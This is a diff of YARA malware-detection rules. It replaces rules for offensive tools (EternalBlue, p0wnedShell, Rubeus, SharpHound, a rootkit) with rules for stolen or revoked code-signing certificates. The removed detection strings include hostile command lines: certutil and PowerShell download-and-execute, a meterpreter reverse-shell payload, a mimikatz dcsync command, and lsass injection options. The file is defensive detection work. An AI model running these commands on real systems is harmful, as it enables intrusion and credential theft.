-		id = "f7660899-ed12-5765-a856-6a1c7bbd8978"
-		date = "2024-01-23"
-		modified = "2024-01-23"
+		id = "61286549-7561-5607-9073-2a3ee0d54a44"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_tools.yar#L308-L320"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L1793-L1804"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "9e7ab39976e3219f0c6c3ce5341442343cc4baf30757cd1c9d0c2d3845fdda2f"
+		logic_hash = "ee965ee8b6ebbb6171e3b10a7887acf35c9ed7fcbe49b7f403190c7fb046ec63"
 		score = 75
 		quality = 75
 		tags = "FILE"
-
-	strings:
-		$s1 = "User-Agent: Uploador" fullword ascii
-		$s2 = "Content-Disposition: form-data; name=\"data\"; filename=\"" fullword ascii
-		$s3 = "WebUpload" fullword ascii
-		$s4 = "Cannot assign a %s to a %s%List does not allow duplicates ($0%x)%String" wide
-		$s5 = "scr.dll" fullword ascii
+		thumbprint = "a1561cacd844fcb62e9e0a8ee93620b3b7d4c3f4bd6f3d6168129136471a7fdb"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and filesize <700KB and 4 of them
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "SMACKTECH SOFTWARE LIMITED" and pe.signatures[i].serial=="41:52:16:9f:22:45:4e:d6:04:d0:35:55:b7:af:b1:75")
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_TOOL_EXP_Eternalblue : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_41D05676E0D31908Be4Dead3486Aeae3 : FILE
 {
 	meta:
-		description = "Detects Windows executables containing EternalBlue explitation artifacts"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "08173a1e-2e32-5add-864a-d92ffa0a3e44"
-		date = "2024-01-23"
-		modified = "2024-01-23"
+		id = "d668f53b-3d1c-5fcb-9f9c-2923e63f93a9"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_tools.yar#L322-L342"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L1806-L1817"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "63e56637118accb8c32c20e52465c027df2dbf83b3b663d316b453ce879572c8"
+		logic_hash = "e4eb406e433b38ac127ba22040c48b510636eb55e2b524b02386710709d343b6"
 		score = 75
 		quality = 75
 		tags = "FILE"
-
-	strings:
-		$ci1 = "CNEFileIO_" ascii wide
-		$ci2 = "coli_" ascii wide
-		$ci3 = "mainWrapper" ascii wide
-		$dp1 = "EXPLOIT_SHELLCODE" ascii wide
-		$dp2 = "ETERNALBLUE_VALIDATE_BACKDOOR" ascii wide
-		$dp3 = "ETERNALBLUE_DOUBLEPULSAR_PRESENT" ascii wide
-		$dp4 = "//service[name='smb']/port" ascii wide
-		$dp5 = /DOUBLEPULSAR_(PROTOCOL_|ARCHITECTURE_|FUNCTION_|DLL_|PROCESS_|COMMAND_|IS_64_BIT)/
-		$cm1 = "--DllOrdinal 1 ProcessName lsass.exe --ProcessCommandLine --Protocol SMB --Architecture x64 --Function Rundll" ascii wide
-		$cm2 = "--DllOrdinal 1 ProcessName lsass.exe --ProcessCommandLine --Protocol SMB --Architecture x86 --Function Rundll" ascii wide
-		$cm3 = "--DaveProxyPort=0 --NetworkTimeout 30 --TargetPort 445 --VerifyTarget True --VerifyBackdoor True --MaxExploitAttempts 3 --GroomAllocations 12 --OutConfig" ascii wide
+		thumbprint = "e6e597527853ee64b45d48897e3ca4331f6cc08a88cc57ff2045923e65461598"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and (2 of ($ci*)) or (2 of ($dp*)) or (1 of ($dp*) and 1 of ($ci*)) or (1 of ($cm*))
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Rov SP Z O O" and pe.signatures[i].serial=="41:d0:56:76:e0:d3:19:08:be:4d:ea:d3:48:6a:ea:e3")
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_TOOL_EXP_Weblogic : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_13C7B92282Aae782Bfb00Baf879935F4 : FILE
 {
 	meta:
-		description = "Detects Windows executables containing Weblogic exploits commands"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "e761a968-35cb-5284-99f2-6d516ad348e3"
-		date = "2024-01-23"
-		modified = "2024-01-23"
+		id = "244ff442-0bce-5f9f-85ea-33fafe9a2e7b"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_tools.yar#L344-L353"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L1819-L1830"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "01855f1125b0ba87dd40f7d460440dbda2d75c8b484e842a2b2e20c089b4ab5e"
+		logic_hash = "2742fd71eb8219db7785ad46be18a906fdab0914f632dfbf531238fd551a5b65"
 		score = 75
 		quality = 75
 		tags = "FILE"
-
-	strings:
-		$s1 = "certutil.exe -urlcache -split -f AAAAA BBBBB & cmd.exe /c BBBBB" ascii
-		$s2 = "powershell (new-object System.Net.WebClient).DownloadFile('AAAAA','BBBBB')" ascii
+		thumbprint = "c253cce2094c0a4ec403518d4fbf18c650e5434759bc690758cb3658b75c8baa"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and 1 of them
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "THE WIZARD GIFT CORPORATION" and pe.signatures[i].serial=="13:c7:b9:22:82:aa:e7:82:bf:b0:0b:af:87:99:35:f4")
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_TOOL_SCN_Smbtouch : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_00D627F1000D12485995514Bfbdefc55D9 : FILE
 {
 	meta:
-		description = "Detects SMBTouch scanner EternalBlue, EternalChampion, EternalRomance, EternalSynergy"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "4e8176dd-4113-5fa8-a695-77e7169f6975"
-		date = "2024-01-23"
-		modified = "2024-01-23"
+		id = "dd18086c-063b-542e-915b-5bd452ee452e"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_tools.yar#L376-L400"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L1832-L1843"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "78c2a435762d3febe927eb15910d5a18c1ffe74604673463543d3c859f5ef8e9"
+		logic_hash = "9ff60a73b889c8f1df127ead90a93fbf92131cfb475d58eea1ba1569f3e99e00"
 		score = 75
 		quality = 75
 		tags = "FILE"
-
-	strings:
-		$s1 = "[+] SMB Touch started" fullword ascii
-		$s2 = "[-] Could not connect to share (0x%08X - %s)" fullword ascii
-		$s3 = "[!] Target could be either SP%d or SP%d," fullword ascii
-		$s4 = "[!] for these SMB exploits they are equivalent" fullword ascii
-		$s5 = "[+] Target is vulnerable to %d exploit%s" fullword ascii
-		$s6 = "[+] Touch completed successfully" fullword ascii
-		$s7 = "Network error while determining exploitability" fullword ascii
-		$s8 = "Named pipe or share required for exploit" fullword ascii
-		$w1 = "UsingNbt" fullword ascii
-		$w2 = "TargetPort" fullword ascii
-		$w3 = "TargetIp" fullword ascii
-		$w4 = "RedirectedTargetPort" fullword ascii
-		$w5 = "RedirectedTargetIp" fullword ascii
-		$w6 = "NtlmHash" fullword ascii
-		$w7 = "\\PIPE\\LANMAN" fullword ascii
-		$w8 = "UserRejected: " fullword ascii
+		thumbprint = "5fac3a6484e93f62686e12de3611f7a5251009d541f65e8fe17decc780148052"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and (2 of ($s*) or all of ($w*))
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "THREE D CORPORATION PTY LTD" and pe.signatures[i].serial=="00:d6:27:f1:00:0d:12:48:59:95:51:4b:fb:de:fc:55:d9")
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_TOOL_SCN_Nbtscan : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_62205361A758B00572D417Cba014F007 : FILE
 {
 	meta:
-		description = "Detects NBTScan scanner for open NETBIOS nameservers on a local or remote TCP/IP network"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "663c324e-4784-5efe-bbdf-60fa42e13944"
-		date = "2024-01-23"
-		modified = "2024-01-23"
+		id = "7838c733-7212-5e86-bb3c-5dfefb727a4b"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_tools.yar#L402-L420"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L1845-L1856"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "a81b95ad60aac4d66586ae7dc61f6bcbe2b7185b66b2bb895f45abff3ad3f430"
+		logic_hash = "52d67bc94e82bb9a36e969d393c395465c84ff76f89c5f8407c20e2c761000e3"
 		score = 75
 		quality = 75
 		tags = "FILE"
-
-	strings:
-		$s1 = "[%s] is an invalid target (bad IP/hostname)" fullword ascii
-		$s2 = "ERROR: no parse for %s -- %s" fullword ascii
-		$s3 = "add_target failed" fullword ascii
-		$s4 = "   -p <n>    bind to UDP Port <n> (default=%d)" fullword ascii
-		$s5 = "process_response.c" fullword ascii
-		$s6 = "currTarget != 0" fullword ascii
-		$s7 = "parse_target.c" fullword ascii
-		$s8 = "dump_packet.c" fullword ascii
-		$s9 = "parse_target_cb.c" fullword ascii
-		$s10 = "DUMP OF PACKET" fullword ascii
-		$s11 = "lookup_hostname.c" fullword ascii
+		thumbprint = "83e851e8c50f9d7299363181f2275edc194037be8cb6710762d2099e0b3f31c6"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and 10 of ($s*)
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "UNITEKH-S, OOO" and pe.signatures[i].serial=="62:20:53:61:a7:58:b0:05:72:d4:17:cb:a0:14:f0:07")
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_TOOL_ENC_Bestcrypt : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_566Ac16A57B132D3F64Dced14De790Ee : FILE
 {
 	meta:
-		description = "Detects BestEncrypt commercial disk encryption and wiping software"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "30c3c17c-c951-5b14-80ba-eec7b2195985"
-		date = "2024-01-23"
-		modified = "2024-01-23"
+		id = "05f49d36-7bf1-5bbc-b728-e1616366c15e"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_tools.yar#L442-L453"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L1858-L1869"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "77d338c6f3e4b733cb31eb1ae05e4ce8631812f7161bc70074a3fe1dee9df770"
+		logic_hash = "0618ce3ce0c5f8923c12a99586bbec8ec86229c7e08af75f5b0756f348d53bd5"
 		score = 75
-		quality = 50
+		quality = 75
 		tags = "FILE"
-
-	strings:
-		$s1 = "BestCrypt Volume Encryption" wide
-		$s2 = "BCWipe for " wide
-		$s3 = "Software\\Jetico\\BestCrypt" wide
-		$s4 = "%c:\\EFI\\Jetico\\" fullword wide
+		thumbprint = "2e44464a5907ac46981bebd8eed86d8deec9a4cfafdf1652c8ba68551d4443ff"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and all of them
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Unirad LLC" and pe.signatures[i].serial=="56:6a:c1:6a:57:b1:32:d3:f6:4d:ce:d1:4d:e7:90:ee")
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_TOOL_CNC_Earthworm : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_661Ba8F3C9D1B348413484E9A49502F7 : FILE
 {
 	meta:
-		description = "Detects Earthworm C&C Windows/macOS tool"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "4a6edcf3-b3c4-5620-8eac-102b1ce425f8"
-		date = "2024-01-23"
-		modified = "2024-01-23"
+		id = "75fb83a1-c493-510a-8c01-4cc699d71465"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_tools.yar#L455-L471"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L1871-L1882"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "5045faaaa9e60d4bd506240d51ff78dad4e89ccee0e824e7e5c309a8d3ae2883"
+		logic_hash = "661af02d7a206f50e996caf690ded541acab8c8268df9e86744d36f7322efe5c"
 		score = 75
-		quality = 50
+		quality = 75
 		tags = "FILE"
-
-	strings:
-		$s1 = "lcx_tran 0.0.0.0:%d <--[%4d usec]--> %s:%d" fullword ascii
-		$s2 = "ssocksd 0.0.0.0:%d <--[%4d usec]--> socks server" fullword ascii
-		$s3 = "rcsocks 0.0.0.0:%d <--[%4d usec]--> 0.0.0.0:%d" fullword ascii
-		$s4 = "rssocks %s:%d <--[%4d usec]--> socks server" fullword ascii
-		$s5 = "--> %3d <-- (close)used/unused  %d/%d" fullword ascii
-		$s6 = "<-- %3d --> (open)used/unused  %d/%d" fullword ascii
-		$s7 = "--> %d start server" ascii
-		$s8 = "Error on connect %s:%d [proto_init_cmd_rcsocket]" fullword ascii
-		$url = "http://rootkiter.com/EarthWrom/" nocase fullword ascii
+		thumbprint = "4ca944c9b69f72be3e95f385bdbc70fc7cff4c3ebb76a365bf0ab0126b277b2d"
+		importance = 20
 
 	condition:
-		( uint16(0)==0xfacf or uint16(0)==0x5a4d) and (5 of ($s*) or $url)
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Unique Digital Services Ltd." and pe.signatures[i].serial=="66:1b:a8:f3:c9:d1:b3:48:41:34:84:e9:a4:95:02:f7")
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_TOOL_PWS_Keychaindumper : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_0092D9B92F8Cf7A1Ba8B2C025Be730C300 : FILE
 {
 	meta:
-		description = "Detects macOS certificate/password keychain dumping tool"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "cec094fa-c651-58a6-a306-f16d8603e536"
-		date = "2024-01-23"
-		modified = "2024-01-23"
+		id = "856b4522-f314-5cbb-872e-08b21107881b"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_tools.yar#L473-L484"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L1884-L1895"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "f606bdd5dba2180ffc552c46373b52801a0bd65a538b381fb9f4240efc5bd458"
+		logic_hash = "207fcc48053afb6a435c40fd8e25a88753139c35f4882a1975fdb8c55dc8ea89"
 		score = 75
-		quality = 71
+		quality = 75
 		tags = "FILE"
-		clamav_sig = "INDICATOR_Osx.Tool.PWS.KeychainDumper"
-
-	strings:
-		$s1 = "_getEmptyKeychainItemString" fullword ascii
-		$s2 = "NdumpKeychainEntitlements" fullword ascii
-		$s3 = "_dumpKeychainEntitlements" fullword ascii
+		thumbprint = "b891c96bd8548c60fa86b753f0c4a4ccc7ab51256b4ee984b5187c62470f9396"
+		importance = 20
 
 	condition:
-		( uint16(0)==0xfeca or uint16(0)==0xfacf) and all of them
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "UPLagga Systems s.r.o." and pe.signatures[i].serial=="00:92:d9:b9:2f:8c:f7:a1:ba:8b:2c:02:5b:e7:30:c3:00")
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_TOOL_PET_P0Wnedshell : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_00E5Ad42C509A7C24605530D35832C091E : FILE
 {
 	meta:
-		description = "Detects compiled executables of p0wnedShell post-exploitation toolkit"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "7df8f9b4-48d3-5271-9d60-5dd4bfaed316"
-		date = "2024-01-23"
-		modified = "2024-01-23"
+		id = "44615e9d-6677-5642-b56d-82c0577f758c"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_tools.yar#L486-L512"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L1897-L1908"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "9745b69573bf695fdada122143fb1889a7b2025250b5fb1e8f1a86b3be6f27d3"
+		logic_hash = "8d76474257ee9a24d4785ddd119e586712a157ff7b420a7db2b8efe06c43f76c"
 		score = 75
 		quality = 75
 		tags = "FILE"
-
-	strings:
-		$s1 = "Use WinRM, PsExec, SMB/WMI to execute commands on remote systems" wide
-		$s2 = "-CreateProcess \"cmd.exe\" -Username \"nt authority\\system\"" wide
-		$s3 = "-Command '\"lsadump::dcsync /user:" wide
-		$s4 = "-Payload windows/meterpreter/reverse_https -Lhost" wide
-		$s5 = "Get-Content ./EncodedPayload.bat" fullword wide
-		$e1 = "OnYNAB+LCAAAAAAABAC8vOeS60iSLvh75yly+rZZVxuqC4KQs3uvLQhFEJIACALoHVuD1oKQBMbuuy+Y4pw8dUTf3R+bZlWVZHh87uHh4vPItv63ZGrCMW+bF7GZ2zL+" wide
-		$e2 = "kuIeAB+LCAAAAAAABADsvWt327iuMPw9v0Jv27Wa7DqJc2ma5nl71vZFTpzx/ZJL+3TlyLZiq7EtjyTHcffZ//0BSEqiKEqWbKczs8941qS2LgAIAiAIguDjfNp3DHOq" wide
-		$e3 = "mZYIAB+LCAAAAAAABADsvflj2zyOMPx7/gptmnftbBIfuZp0t/OOfMZp7PjO0adfX9lSbCWy5Vp2HGfm+d8/ACQl6vCRNp2Z3bVmnioWSRAEQQAESfC/Pmwp8FTtmTFu" wide
-		$e4 = "u9YGAB+LCAAAAAAABADsvW1D40ayKPw9v0Lr4V7ZE8vY5mUY9rKJBzMTnmWAgyGTvYTlCluAdmzJK9nDsEn++1NV/S61ZJmXZJIN52wG7O7q6urq6qrqquoXSfDveZgE" wide
-		$e5 = "T3gDAB+LCAAAAAAABADtvX1f2zq2KPz3yafQzuZcwi5JEydQ2nM7v4cCnc0zQLmE7j3z6+7NmMQBnwY7YzsFTqff/WpJsi3Jki07DlA2mT008ctaS0tL601L0nThjSPX" wide
-		$e6 = "zRgDAB+LCAAAAAAABADtfW1327jR6OdHv4Kr9TmWdiVZkl+SdZs913Gcrm9tx7WcbvekuS4t0TYbiVRJKYmfbf77xeCNeCVBinKcbNStI5HAYDAYDAaDwczNMhovwjjy" wide
-		$e7 = "pxICAB+LCAAAAAAABADtvf17GkeyKPyz+Cvmlfw+ggRhfcXr1X1znsUIx5yVhC7IUbI+fnUHGKRZwww7M1jWyeZ/v1XV3z09wABysnviZ1cBpqe6urqquqq6uno8j4ZZ" wide
-		$e8 = "H4sIAAAAAAAEANy9e3wTVfo4PG1SmkLbCdpgFdSgUeuCbLTAthYk005gQhNahUIVkCqIqKi1TaAuIGBaJRzG27Kuul5wV3fV1fUuUFxNKbTl3oJAuaiouE4paAGBFpB5" wide
-		$k1 = "EasySystemPPID" fullword ascii
-		$k2 = "EasySystemShell" fullword ascii
-		$k3 = "LatMovement" fullword ascii
-		$k4 = "ListenerURL" fullword ascii
-		$k5 = "MeterStager" fullword ascii
-		$k6 = "PatchEventLog" fullword ascii
+		thumbprint = "17b1f6ffc569acd2cf803c4ac24a7f9828d8d14f6b057e65efdb5c93cc729351"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and (3 of ($s*) or 7 of ($e*) or all of ($k*) or (2 of ($s*) and 2 of ($e*) and 2 of ($k*)))
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "VESNA, OOO" and pe.signatures[i].serial=="00:e5:ad:42:c5:09:a7:c2:46:05:53:0d:35:83:2c:09:1e")
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_TOOL_PWS_Rubeus : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_3E57584Db26A2C2Ebc24Ae3E1954Fff6 : FILE
 {
 	meta:
-		description = "Detects Rubeus kerberos defensive/offensive toolset"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "5af8cee0-e664-5dfe-9932-0e74ed41b6b4"
-		date = "2024-01-23"
-		modified = "2024-01-23"
+		id = "9073846e-97c7-5b2e-a81f-3bbd06699842"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_tools.yar#L514-L531"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L1910-L1921"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "ee817d23427970d7e77f9ce2a7cbc25c77177d81354fed83e7551cdcbc2d7cd2"
+		logic_hash = "cfc68c32ceba351610651d34fb420c64bab9a3b1564d9b6392f0ee8cdcdac7de"
 		score = 75
 		quality = 75
 		tags = "FILE"
-
-	strings:
-		$s1 = "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=4194304))" fullword wide
-		$s2 = "(!samAccountName=krbtgt)(!(UserAccountControl:1.2.840.113556.1.4.803:=2))" fullword wide
-		$s3 = "rc4opsec" fullword wide
-		$s4 = "pwdlastset" fullword wide
-		$s5 = "LsaEnumerateLogonSessions" fullword ascii
-		$s6 = "extractKerberoastHash" fullword ascii
-		$s7 = "ComputeAllKerberosPasswordHashes" fullword ascii
-		$s8 = "kerberoastDomain" fullword ascii
-		$s9 = "GetUsernamePasswordTGT" fullword ascii
-		$s10 = "WriteUserPasswordToFile" fullword ascii
+		thumbprint = "4ecbada12a11a5ad5fe6a72a8baaf9d67dc07556a42f6e9a9b6765e334099f4e"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and 8 of them
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Zaryad LLC" and pe.signatures[i].serial=="3e:57:58:4d:b2:6a:2c:2e:bc:24:ae:3e:19:54:ff:f6")
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_TOOL_RTK_Hiddenrootkit : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_13794371C052Ec0559E9B492Abb25C26 : FILE
 {
 	meta:
-		description = "Detects the Hidden public rootkit"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "c9e9d160-224f-505f-a135-56a9793f99c2"
-		date = "2024-01-23"
-		modified = "2024-01-23"
+		id = "e2a4fdb2-fa04-5662-bb84-5c0c4892e3af"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_tools.yar#L533-L554"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L1923-L1934"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "20180fc040c1b988b17b1ca9b61a7dab5180df4961a00f0afcb03e2cbe99b28f"
+		logic_hash = "af80177181efd92b4e1a4a5c665df01add069dc3b47074bcbdd503516cf5a844"
 		score = 75
-		quality = 50
+		quality = 75
 		tags = "FILE"
-
-	strings:
-		$h1 = "Hid_State" fullword wide
-		$h2 = "Hid_StealthMode" fullword wide
-		$h3 = "Hid_HideFsDirs" fullword wide
-		$h4 = "Hid_HideFsFiles" fullword wide
-		$h5 = "Hid_HideRegKeys" fullword wide
-		$h6 = "Hid_HideRegValues" fullword wide
-		$h7 = "Hid_IgnoredImages" fullword wide
-		$h8 = "Hid_ProtectedImages" fullword wide
-		$s1 = "FLTMGR.SYS" fullword ascii
-		$s2 = "HAL.dll" fullword ascii
-		$s3 = "\\SystemRoot\\System32\\csrss.exe" fullword wide
-		$s4 = "\\REGISTRY\\MACHINE\\SYSTEM\\ControlSet001\\%wZ" fullword wide
-		$s5 = "INIT" fullword ascii
-		$s6 = "\\hidden-master\\Debug\\QAssist.pdb" fullword ascii
+		thumbprint = "dd3ab539932e81db45cf262d44868e1f0f88a7b0baf682fb89d1a3fcfba3980b"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and (3 of ($h*) or 5 of ($s*) or (2 of ($s*) and 2 of ($h*)))
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Carmel group LLC" and pe.signatures[i].serial=="13:79:43:71:c0:52:ec:05:59:e9:b4:92:ab:b2:5c:26")
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_TOOL_PET_Sharphound : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_51Aead5A9Ab2D841B449Fa82De3A8A00 : FILE
 {
 	meta:
-		description = "Detects BloodHound"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "d8f44e15-3e7c-5e5d-9d74-30c61e679fcb"
-		date = "2024-01-23"
-		modified = "2024-01-23"
+		id = "d64ff10d-e4dd-5d89-a600-d136571be940"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_tools.yar#L556-L573"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L1936-L1947"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "bdf10d0aabd6c41e8dd1f87c0fa141f300d785146d059fcd301ec35f65fbe990"
+		logic_hash = "1658a12bb040b5b16c61469fe52abbaaecf5bd66bf5e45a2c2da9f80fa0c66f5"
 		score = 75
-		quality = 48
+		quality = 75
 		tags = "FILE"
-
-	strings:
-		$id1 = "InvokeBloodHound" fullword ascii
-		$id2 = "Sharphound" ascii nocase
-		$s1 = "SamServerExecute" fullword ascii
-		$s2 = "get_RemoteDesktopUsers" fullword ascii
-		$s3 = "commandline.dll.compressed" ascii wide
-		$s4 = "operatingsystemservicepack" fullword wide
-		$s5 = "LDAP://" fullword wide
-		$s6 = "wkui1_logon_domain" fullword ascii
-		$s7 = "GpoProps" fullword ascii
-		$s8 = "a517a8de-5834-411d-abda-2d0e1766539c" fullword ascii nocase
+		thumbprint = "155edd03d034d6958af61bc6a7181ef8f840feae68a236be3ff73ce7553651b0"
+		importance = 20
 
 	condition:
